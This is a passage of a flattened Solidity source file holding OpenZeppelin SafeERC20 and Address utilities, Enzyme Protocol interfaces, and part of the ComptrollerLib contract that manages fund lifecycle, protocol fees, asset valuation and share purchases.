_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPosition Contract
/// @author Enzyme Council <[email protected]>
interface IExternalPosition {
function getDebtAssets() external returns (address[] memory, uint256[] memory);
function getManagedAssets() external returns (address[] memory, uint256[] memory);
function init(bytes memory) external;
function receiveCallFromVault(bytes memory) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPositionVault interface
/// @author Enzyme Council <[email protected]>
/// Provides an interface to get the externalPositionLib for a given type from the Vault
interface IExternalPositionVault {
function getExternalPositionLibForType(uint256) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFreelyTransferableSharesVault Interface
/// @author Enzyme Council <[email protected]>
/// @notice Provides the interface for determining whether a vault's shares
/// are guaranteed to be freely transferable.
/// @dev DO NOT EDIT CONTRACT
interface IFreelyTransferableSharesVault {
function sharesAreFreelyTransferable()
external
view
returns (bool sharesAreFreelyTransferable_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
function getOwner() external view returns (address);
function hasReconfigurationRequest(address) external view returns (bool);
function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool);
function isAllowedVaultCall(
address,
bytes4,
bytes32
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/external-positions/IExternalPosition.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymaster.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymasterDepositor.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, IGasRelayPaymasterDepositor, GasRelayRecipientMixin {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event AutoProtocolFeeSharesBuybackSet(bool autoProtocolFeeSharesBuyback);
event BuyBackMaxProtocolFeeSharesFailed(
bytes indexed failureReturnData,
uint256 sharesAmount,
uint256 buybackValueInMln,
uint256 gav
);
event DeactivateFeeManagerFailed();
event GasRelayPaymasterSet(address gasRelayPaymaster);
event MigratedSharesDuePaid(uint256 sharesDue);
event PayProtocolFeeDuringDestructFailed();
event PreRedeemSharesHookFailed(
bytes indexed failureReturnData,
address indexed redeemer,
uint256 sharesAmount
);
event RedeemSharesInKindCalcGavFailed();
event SharesBought(
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
address indexed recipient,
uint256 sharesAmount,
address[] receivedAssets,
uint256[] receivedAssetAmounts
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant ONE_HUNDRED_PERCENT = 10000;
uint256 private constant SHARES_UNIT = 10**18;
address
private constant SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS = 0x000000000000000000000000000000000000aaaa;
address private immutable DISPATCHER;
address private immutable EXTERNAL_POSITION_MANAGER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable MLN_TOKEN;
address private immutable POLICY_MANAGER;
address private immutable PROTOCOL_FEE_RESERVE;
address private immutable VALUE_INTERPRETER;
address private immutable WETH_TOKEN;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Attempts to buy back protocol fee shares immediately after collection
bool internal autoProtocolFeeSharesBuyback;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock after the last time shares were bought for an account
// that must expire before that account transfers or redeems their shares
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesBoughtTimestamp;
// The contract which manages paying gas relayers
address private gasRelayPaymaster;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer();
_;
}
modifier onlyGasRelayPaymaster() {
__assertIsGasRelayPaymaster();
_;
}
modifier onlyOwner() {
__assertIsOwner(__msgSender());
_;
}
modifier onlyOwnerNotRelayable() {
__assertIsOwner(msg.sender);
_;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
function __assertIsFundDeployer() private view {
require(msg.sender == getFundDeployer(), "Only FundDeployer callable");
}
function __assertIsGasRelayPaymaster() private view {
require(msg.sender == getGasRelayPaymaster(), "Only Gas Relay Paymaster callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(getVaultProxy()).getOwner(), "Only fund owner callable");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _vaultProxy, address _account)
private
view
{
uint256 lastSharesBoughtTimestamp = getLastSharesBoughtTimestampForAccount(_account);
require(
lastSharesBoughtTimestamp == 0 ||
block.timestamp.sub(lastSharesBoughtTimestamp) >= getSharesActionTimelock() ||
__hasPendingMigrationOrReconfiguration(_vaultProxy),
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _protocolFeeReserve,
address _fundDeployer,
address _valueInterpreter,
address _externalPositionManager,
address _feeManager,
address _integrationManager,
address _policyManager,
address _gasRelayPaymasterFactory,
address _mlnToken,
address _wethToken
) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) {
DISPATCHER = _dispatcher;
EXTERNAL_POSITION_MANAGER = _externalPositionManager;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
MLN_TOKEN = _mlnToken;
POLICY_MANAGER = _policyManager;
PROTOCOL_FEE_RESERVE = _protocolFeeReserve;
VALUE_INTERPRETER = _valueInterpreter;
WETH_TOKEN = _wethToken;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override locksReentrance allowsPermissionedVaultAction {
require(
_extension == getFeeManager() ||
_extension == getIntegrationManager() ||
_extension == getExternalPositionManager(),
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(__msgSender(), _actionId, _callArgs);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
/// @return returnData_ The data returned by the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyOwner returns (bytes memory returnData_) {
require(
IFundDeployer(getFundDeployer()).isAllowedVaultCall(
_contract,
_selector,
keccak256(_encodedArgs)
),
"vaultCallOnContract: Not allowed"
);
return
IVault(getVaultProxy()).callOnContract(
_contract,
abi.encodePacked(_selector, _encodedArgs)
);
}
/// @dev Helper to check if a VaultProxy has a pending migration or reconfiguration request
function __hasPendingMigrationOrReconfiguration(address _vaultProxy)
private
view
returns (bool hasPendingMigrationOrReconfiguration)
{
return
IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy) ||
IFundDeployer(getFundDeployer()).hasReconfigurationRequest(_vaultProxy);
}
//////////////////
// PROTOCOL FEE //
//////////////////
/// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN
/// @param _sharesAmount The amount of shares to buy back
function buyBackProtocolFeeShares(uint256 _sharesAmount) external {
address vaultProxyCopy = vaultProxy;
require(
IVault(vaultProxyCopy).canManageAssets(__msgSender()),
"buyBackProtocolFeeShares: Unauthorized"
);
uint256 gav = calcGav();
IVault(vaultProxyCopy).buyBackProtocolFeeShares(
_sharesAmount,
__getBuybackValueInMln(vaultProxyCopy, _sharesAmount, gav),
gav
);
}
/// @notice Sets whether to attempt to buyback protocol fee shares immediately when collected
/// @param _nextAutoProtocolFeeSharesBuyback True if protocol fee shares should be attempted
/// to be bought back immediately when collected
function setAutoProtocolFeeSharesBuyback(bool _nextAutoProtocolFeeSharesBuyback)
external
onlyOwner
{
autoProtocolFeeSharesBuyback = _nextAutoProtocolFeeSharesBuyback;
emit AutoProtocolFeeSharesBuybackSet(_nextAutoProtocolFeeSharesBuyback);
}
/// @dev Helper to buyback the max available protocol fee shares, during an auto-buyback
function __buyBackMaxProtocolFeeShares(address _vaultProxy, uint256 _gav) private {
uint256 sharesAmount = ERC20(_vaultProxy).balanceOf(getProtocolFeeReserve());
uint256 buybackValueInMln = __getBuybackValueInMln(_vaultProxy, sharesAmount, _gav);
try
IVault(_vaultProxy).buyBackProtocolFeeShares(sharesAmount, buybackValueInMln, _gav)
{} catch (bytes memory reason) {
emit BuyBackMaxProtocolFeeSharesFailed(reason, sharesAmount, buybackValueInMln, _gav);
}
}
/// @dev Helper to buyback the max available protocol fee shares
function __getBuybackValueInMln(
address _vaultProxy,
uint256 _sharesAmount,
uint256 _gav
) private returns (uint256 buybackValueInMln_) {
address denominationAssetCopy = getDenominationAsset();
uint256 grossShareValue = __calcGrossShareValue(
_gav,
ERC20(_vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
uint256 buybackValueInDenominationAsset = grossShareValue.mul(_sharesAmount).div(
SHARES_UNIT
);
return
IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
buybackValueInDenominationAsset,
getMlnToken()
);
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(IVault.VaultAction _action, bytes calldata _actionData)
external
override
{
__assertPermissionedVaultAction(msg.sender, _action);
// Validate action as needed
if (_action == IVault.VaultAction.RemoveTrackedAsset) {
require(
abi.decode(_actionData, (address)) != getDenominationAsset(),
"permissionedVaultAction: Cannot untrack denomination asset"
);
}
IVault(getVaultProxy()).receiveValidatedVaultAction(_action, _actionData);
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction.
/// Uses this pattern rather than multiple `require` statements to save on contract size.
function __assertPermissionedVaultAction(address _caller, IVault.VaultAction _action)
private
view
{
bool validAction;
if (permissionedVaultActionAllowed) {
// Calls are roughly ordered by likely frequency
if (_caller == getIntegrationManager()) {
if (
_action == IVault.VaultAction.AddTrackedAsset ||
_action == IVault.VaultAction.RemoveTrackedAsset ||
_action == IVault.VaultAction.WithdrawAssetTo ||
_action == IVault.VaultAction.ApproveAssetSpender
) {
validAction = true;
}
} else if (_caller == getFeeManager()) {
if (
_action == IVault.VaultAction.MintShares ||
_action == IVault.VaultAction.BurnShares ||
_action == IVault.VaultAction.TransferShares
) {
validAction = true;
}
} else if (_caller == getExternalPositionManager()) {
if (
_action == IVault.VaultAction.CallOnExternalPosition ||
_action == IVault.VaultAction.AddExternalPosition ||
_action == IVault.VaultAction.RemoveExternalPosition
) {
validAction = true;
}
}
}
require(validAction, "__assertPermissionedVaultAction: Action not allowed");
}
///////////////
// LIFECYCLE //
///////////////
// Ordered by execution in the lifecycle
/// @notice Initializes a fund with its core config
/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(getDenominationAsset() == address(0), "init: Already initialized");
require(
IValueInterpreter(getValueInterpreter()).isSupportedPrimitiveAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Sets the VaultProxy
/// @param _vaultProxy The VaultProxy contract
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerProxy has been deployed.
function setVaultProxy(address _vaultProxy) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
}
/// @notice Runs atomic logic after a ComptrollerProxy has become its vaultProxy's `accessor`
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(bool _isMigration) external override onlyFundDeployer {
address vaultProxyCopy = getVaultProxy();
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(vaultProxyCopy).balanceOf(vaultProxyCopy);
if (sharesDue > 0) {
IVault(vaultProxyCopy).transferShares(
vaultProxyCopy,
IVault(vaultProxyCopy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
IVault(vaultProxyCopy).addTrackedAsset(getDenominationAsset());
// Activate extensions
IExtension(getFeeManager()).activateForFund(_isMigration);
IExtension(getPolicyManager()).activateForFund(_isMigration);
}
/// @notice Wind down and destroy a ComptrollerProxy that is active
/// @param _deactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager
/// @param _payProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee
/// @dev No need to assert anything beyond FundDeployer access.
/// Uses the try/catch pattern throughout out of an abundance of caution for the function's success.
/// All external calls must use limited forwarded gas to ensure that a migration to another release
/// does not get bricked by logic that consumes too much gas for the block limit.
function destructActivated(
uint256 _deactivateFeeManagerGasLimit,
uint256 _payProtocolFeeGasLimit
) external override onlyFundDeployer allowsPermissionedVaultAction {
// Forwarding limited gas here also protects fee recipients by guaranteeing that fee payout logic
// will run in the next function call
try IVault(getVaultProxy()).payProtocolFee{gas: _payProtocolFeeGasLimit}() {} catch {
emit PayProtocolFeeDuringDestructFailed();
}
// Do not attempt to auto-buyback protocol fee shares in this case,
// as the call is gav-dependent and can consume too much gas
// Deactivate extensions only as-necessary
// Pays out shares outstanding for fees
try
IExtension(getFeeManager()).deactivateForFund{gas: _deactivateFeeManagerGasLimit}()
{} catch {
emit DeactivateFeeManagerFailed();
}
__selfDestruct();
}
/// @notice Destroy a ComptrollerProxy that has not been activated
function destructUnactivated() external override onlyFundDeployer {
__selfDestruct();
}
/// @dev Helper to self-destruct the contract.
/// There should never be ETH in the ComptrollerLib,
/// so no need to waste gas to get the fund owner
function __selfDestruct() private {
// Not necessary, but failsafe to protect the lib against selfdestruct
require(!isLib, "__selfDestruct: Only delegate callable");
selfdestruct(payable(address(this)));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @return gav_ The fund GAV
function calcGav() public override returns (uint256 gav_) {
address vaultProxyAddress = getVaultProxy();
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
address[] memory externalPositions = IVault(vaultProxyAddress)
.getActiveExternalPositions();
if (assets.length == 0 && externalPositions.length == 0) {
return 0;
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress);
}
gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
assets,
balances,
getDenominationAsset()
);
if (externalPositions.length > 0) {
for (uint256 i; i < externalPositions.length; i++) {
uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]);
gav_ = gav_.add(externalPositionValue);
}
}
return gav_;
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @return grossShareValue_ The amount of the denomination asset per share
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue() external override returns (uint256 grossShareValue_) {
uint256 gav = calcGav();
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(getVaultProxy()).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
return grossShareValue_;
}
// @dev Helper for calculating a external position value. Prevents from stack too deep
function __calcExternalPositionValue(address _externalPosition)
private
returns (uint256 value_)
{
(address[] memory managedAssets, uint256[] memory managedAmounts) = IExternalPosition(
_externalPosition
)
.getManagedAssets();
uint256 managedValue = IValueInterpreter(getValueInterpreter())
.calcCanonicalAssetsTotalValue(managedAssets, managedAmounts, getDenominationAsset());
(address[] memory debtAssets, uint256[] memory debtAmounts) = IExternalPosition(
_externalPosition
)
.getDebtAssets();
uint256 debtValue = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
debtAssets,
debtAmounts,
getDenominationAsset()
);
if (managedValue > debtValue) {
value_ = managedValue.sub(debtValue);
}
return value_;
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares on behalf of another user
/// @param _buyer The account on behalf of whom to buy shares
/// @param _investmentAmount The amount of the fund's denomination asset with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
/// @dev This function is freely callable if there is no sharesActionTimelock set, but it is
/// limited to a list of trusted callers otherwise, in order to prevent a griefing attack
/// where the caller buys shares for a _buyer, thereby resetting their lastSharesBought value.
function buySharesOnBehalf(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) external returns (uint256 sharesReceived_) {
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
require(
!hasSharesActionTimelock ||
IFundDeployer(getFundDeployer()).isAllowedBuySharesOnBehalfCaller(canonicalSender),
"buySharesOnBehalf: Unauthorized"
);
return
__buyShares(
_buyer,
_investmentAmount,
